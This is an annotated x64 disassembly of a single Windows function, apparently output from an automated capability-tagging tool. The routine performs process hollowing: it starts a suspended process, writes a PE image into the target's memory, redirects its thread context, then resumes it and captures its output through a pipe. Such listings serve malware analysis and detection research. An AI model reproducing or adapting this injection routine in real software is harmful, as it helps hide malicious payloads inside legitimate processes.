Function at 0x7ff7a3914f30
Capabilities:
Allocate or change rwx memory
Create pipe
Create process on windows
Create process suspended
Create thread
Inject thread
Read file on windows
Resolve function by parsing pe exports
Resume thread
Spawn thread to rwx shellcode
Terminate process
Use process replacement

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x728]
sub rsp, 0x828
mov rax, qword [0x7ff7a4317500]
xor rax, rsp
mov qword [rbp + 0x710], rax
mov qword [rbp - 0x38], r9
mov qword [rbp - 0x30], r8
mov rdi, rdx
mov qword [rbp - 0x70], rdx
mov r13, rcx
mov qword [rbp + 0x270], rdx
xor r12d, r12d
mov dword [rsp + 0x70], r12d
movsxd r14, dword [rcx + 0x3c]
add r14, rcx
cmp byte [rbp + 0x798], r12b
je 0x7ff7a3914fa8
lea r8, [0x7ff7a39df590]
mov edx, 0x400
lea rcx, [rbp + 0x310]
call fcn.7ff7a37f3500
jmp 0x7ff7a3914fbd
mov r8d, 0x400
lea rdx, [rbp + 0x310]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleFileNameA]
cmp dword [r14], 0x4550
jne 0x7ff7a3915b1d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x104], xmm1
movups xmmword [rbp + 0x114], xmm1
movups xmmword [rbp + 0x124], xmm1
movups xmmword [rbp + 0x134], xmm1
movups xmmword [rbp + 0x144], xmm1
mov dword [rbp + 0x154], eax
mov dword [rbp + 0x100], 0x68
mov dword [rbp - 0x28], 0x18
mov qword [rbp - 0x20], r12
mov dword [rbp - 0x18], 1
xor r9d, r9d
lea r8, [rbp - 0x28]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x48]
call qword [sym.imp.kernel32.dll_CreatePipe]
test eax, eax
jne 0x7ff7a3915080
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x7ff7a391506f
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x7ff7a391506a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff7a3915079
mov rcx, r8
call fcn.7ff7a3938048
mov eax, 2
jmp 0x7ff7a3915b58
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x160], rax
or dword [rbp + 0x13c], 0x100
lea rax, [0x7ff7a3a13d18]
mov qword [rbp - 0x10], rax
lea rax, [0x7ff7a3a10e90]
mov qword [rbp], rax
lea rcx, [rbp + 0x88]
call qword [sym.imp.msvcp140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x70], 8
xor r8d, r8d
lea rdx, [rbp + 8]
lea rcx, [rbp - 0x10]
call qword [sym.imp.msvcp140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea r15, [0x7ff7a39df588]
mov qword [rbp + rcx - 0x10], r15
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x14], edx
lea rcx, [rbp + 8]
call qword [sym.imp.msvcp140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, [0x7ff7a39deb30]
mov qword [rbp + 8], rax
mov qword [rbp + 0x70], r12
mov dword [rbp + 0x78], r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e0], 2
mov qword [rbp + 0x2e8], 0xf
mov eax, 0x7261
mov word [rbp + 0x2d0], ax
mov byte [rbp + 0x2d2], 0
mov rdx, rdi
lea rcx, [rbp + 0x2f0]
call fcn.7ff7a380acf0
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov ecx, 0x40
call fcn.7ff7a393800c
mov rbx, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
lea rcx, [rax + 0x40]
mov qword [rsp + 0x68], rcx
lea rax, [rsp + 0x58]
mov qword [rbp - 0x50], rax
lea rsi, [rbp + 0x2d0]
mov qword [rbp + 0x2a0], rbx
mov qword [rbp + 0x2a8], rbx
lea rax, [rsp + 0x58]
mov qword [rbp + 0x2b0], rax
nop dword [rax + rax]
mov rdx, rsi
mov rcx, rbx
call fcn.7ff7a380acf0
add rbx, 0x20
mov qword [rbp + 0x2a8], rbx
add rsi, 0x20
lea rax, [rbp + 0x310]
cmp rsi, rax
jne 0x7ff7a39151c0
mov qword [rsp + 0x60], rbx
lea r9, [fcn.7ff7a380aaf0]
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x2d0]
call fcn.7ff7a3937ef4
mov rsi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x58]
cmp rbx, rsi
je 0x7ff7a3915248
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x7ff7a3915223
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp]
call fcn.7ff7a381ee70
mov rcx, rax
lea rdx, [0x7ff7a39cefb0]
call fcn.7ff7a38134a0
add rbx, 0x20
cmp rbx, rsi
jne 0x7ff7a3915216
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 8]
call fcn.7ff7a380d3c0
nop
lea rdx, [rbp + 0x278]
cmp qword [rbp + 0x290], 0xf
cmova rdx, qword [rbp + 0x278]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x100]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x310]
call qword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
je 0x7ff7a39159ca
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call qword [sym.imp.kernel32.dll_VirtualAlloc]
mov r15, rax
mov dword [rax + 0x30], 0x10000b
mov rdx, rax
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.kernel32.dll_GetThreadContext]
test eax, eax
je 0x7ff7a39159c3
mov rdx, qword [r15 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0xf0]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.kernel32.dll_ReadProcessMemory]
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r14 + 0x30]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov r12, rax
mov r9d, dword [r14 + 0x54]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
mov r8, r13
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov esi, ebx
cmp bx, word [r14 + 6]
jae 0x7ff7a39153b0
xor edi, edi
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [r14 + 0x14]
add rax, rbx
mov r9d, dword [rax + r14 + 0x28]
mov r8d, dword [rax + r14 + 0x2c]
add r8, r13
mov edx, dword [rax + r14 + 0x24]
add rdx, r12
mov qword [rsp + 0x20], rdi
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
inc esi
add rbx, 0x28
movzx eax, word [r14 + 6]
cmp esi, eax
jl 0x7ff7a3915370
mov rdi, qword [rbp - 0x70]
mov rdx, qword [r15 + 0x88]
add rdx, 0x10
xor r13d, r13d
mov qword [rsp + 0x20], r13
lea r9d, [r13 + 8]
lea r8, [r14 + 0x30]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov eax, dword [r14 + 0x28]
add rax, r12
mov qword [r15 + 0x80], rax
mov rdx, r15
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.kernel32.dll_SetThreadContext]
cmp byte [rbp + 0x7a0], r13b
je 0x7ff7a3915669
mov r9d, 0x23600
lea r8, [0x7ff7a3b844d0]
mov edx, dword [rbp - 0x78]
lea rcx, [rbp + 0x2a0]
call fcn.7ff7a38f1e90
mov rdx, qword [rbp + 0x2c0]
cmp byte [rbp + 0x2a0], r13b
jne 0x7ff7a391562c
cmp rdx, 0xf
jbe 0x7ff7a3915468
inc rdx
mov rcx, qword [rbp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7a3915463
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff7a391565d
call fcn.7ff7a3938048
movdqa xmm0, xmmword [0x7ff7a3a13fd0]
movdqu xmmword [rbp + 0x2b8], xmm0
mov byte [rbp + 0x2a8], r13b
mov rdx, qword [rbp + 0x290]
cmp rdx, 0xf
jbe 0x7ff7a39154c3
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7a39154be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7a39154be
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7a3938048
movdqa xmm0, xmmword [0x7ff7a3a13fd0]
movdqu xmmword [rbp + 0x288], xmm0
mov byte [rbp + 0x278], 0
mov rbx, qword [rsp + 0x58]
test rbx, rbx
je 0x7ff7a391558f
mov rsi, qword [rsp + 0x60]
cmp rbx, rsi
je 0x7ff7a3915545
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x7ff7a3915528
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x7ff7a3915523
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff7a3915572
mov rcx, r8
call fcn.7ff7a3938048
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
add rbx, 0x20
cmp rbx, rsi
jne 0x7ff7a39154f2
mov rbx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
sub rdx, rbx
and rdx, 0xffffffffffffffe0
mov rax, rbx
cmp rdx, 0x1000
jb 0x7ff7a3915579
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7a3915579
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.7ff7a3938048
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rsi, [0x7ff7a39df588]
mov qword [rbp + rcx - 0x10], rsi
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x14], edx
lea rcx, [rbp + 8]
call fcn.7ff7a380a340
lea rcx, [rbp + 0x10]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x88]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x7ff7a391560c
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x7ff7a3915607
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff7a3915625
mov rcx, r8
call fcn.7ff7a3938048
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov eax, 5
jmp 0x7ff7a3915b67
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
cmp rdx, 0xf
jbe 0x7ff7a3915669
inc rdx
mov rcx, qword [rbp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7a3915664
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7a3915664
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7a3938048
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.kernel32.dll_ResumeThread]
lea rax, [0x7ff7a3a13d18]
mov qword [rbp + 0x170], rax
lea rax, [0x7ff7a3a10e90]
mov qword [rbp + 0x180], rax
lea rcx, [rbp + 0x208]
call qword [sym.imp.msvcp140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x70], 0xd
xor r8d, r8d
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x170]
call qword [sym.imp.msvcp140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rsi, [0x7ff7a39df588]
mov qword [rbp + rcx + 0x170], rsi
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x16c], edx
lea rcx, [rbp + 0x188]
call qword [sym.imp.msvcp140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, [0x7ff7a39deb30]
mov qword [rbp + 0x188], rax
mov qword [rbp + 0x1f0], r13
mov dword [rbp + 0x1f8], r13d
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x78]
mov qword [rbp - 0x70], rax
lea rax, [rsp + 0x50]
mov qword [rbp - 0x68], rax
lea rax, [rbp + 0x170]
mov qword [rbp - 0x60], rax
mov ecx, 0x18
call fcn.7ff7a393800c
test rax, rax
je 0x7ff7a391575c
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rax], xmm0
movsd xmm1, qword [rbp - 0x60]
movsd qword [rax + 0x10], xmm1
jmp 0x7ff7a391575f
mov rax, r13
mov qword [rbp - 0x70], rax
lea rcx, [rbp + 0x2a8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x7ff7a38f4d20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbase.dll__beginthreadex]
mov qword [rbp + 0x2a0], rax
test rax, rax
je 0x7ff7a3915b91
cmp dword [rbp + 0x2a8], 0
je 0x7ff7a3915ba3
movaps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp - 0x70], xmm0
lea rcx, [rbp - 0x70]
call sub.msvcp140.dll__Thrd_detach
test eax, eax
jne 0x7ff7a3915ba3
mov r8, qword [rbp - 0x38]
dec r8d
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x50]
mov rbx, qword [rbp - 0x30]
mov rdx, rbx
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x7ff7a39157ee
mov eax, dword [rbp - 0x50]
mov byte [rax + rbx], 0
mov byte [rsp + 0x50], 1
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp byte [rbp + 0x790], 0
je 0x7ff7a391581e
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.kernel32.dll_TerminateProcess]
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x170], rsi
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x16c], edx
lea rcx, [rbp + 0x188]
call fcn.7ff7a380a340
lea rcx, [rbp + 0x190]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x208]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x290]
cmp rdx, 0xf
jbe 0x7ff7a39158b4
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7a39158af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7a39158af
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7a3938048
movdqa xmm0, xmmword [0x7ff7a3a13fd0]
movdqu xmmword [rbp + 0x288], xmm0
mov byte [rbp + 0x278], 0
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x7ff7a3915930
lea r8, [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
call fcn.7ff7a38f4090
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7a391591d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7a391591d
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7a3938048
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x10], rsi
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x14], edx
lea rcx, [rbp + 8]
call fcn.7ff7a380a340
lea rcx, [rbp + 0x10]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x88]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x7ff7a39159a6
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x7ff7a39159a1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff7a39159bc
mov rcx, r8
call fcn.7ff7a3938048
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
xor eax, eax
jmp 0x7ff7a3915b67
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
lea r15, [0x7ff7a39df588]
mov rdx, qword [rbp + 0x290]
cmp rdx, 0xf
jbe 0x7ff7a3915a0e
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7a3915a09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7a3915a09
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7a3938048
movdqa xmm0, xmmword [0x7ff7a3a13fd0]
movdqu xmmword [rbp + 0x288], xmm0
mov byte [rbp + 0x278], 0
mov rbx, qword [rsp + 0x58]
test rbx, rbx
je 0x7ff7a3915add
mov rsi, qword [rsp + 0x60]
cmp rbx, rsi
je 0x7ff7a3915a93
nop dword [rax]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x7ff7a3915a76
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x7ff7a3915a71
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff7a3915ac0
mov rcx, r8
call fcn.7ff7a3938048
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
add rbx, 0x20
cmp rbx, rsi
jne 0x7ff7a3915a40
mov rbx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
sub rdx, rbx
and rdx, 0xffffffffffffffe0
mov rax, rbx
cmp rdx, 0x1000
jb 0x7ff7a3915ac7
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7a3915ac7
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.7ff7a3938048
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x10], r15
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x14], edx
lea rcx, [rbp + 8]
call fcn.7ff7a380a340
lea rcx, [rbp + 0x10]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x88]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x7ff7a3915b53
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x7ff7a3915b4e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff7a3915b8a
mov rcx, r8
call fcn.7ff7a3938048
mov eax, 1
mov byte [rdi], 0
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], r12
mov rcx, qword [rbp + 0x710]
xor rcx, rsp
call fcn.7ff7a3937cf0
add rsp, 0x828
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rbp + 0x2a8], r13d
mov ecx, 6
call sub.msvcp140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, 1
call sub.msvcp140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3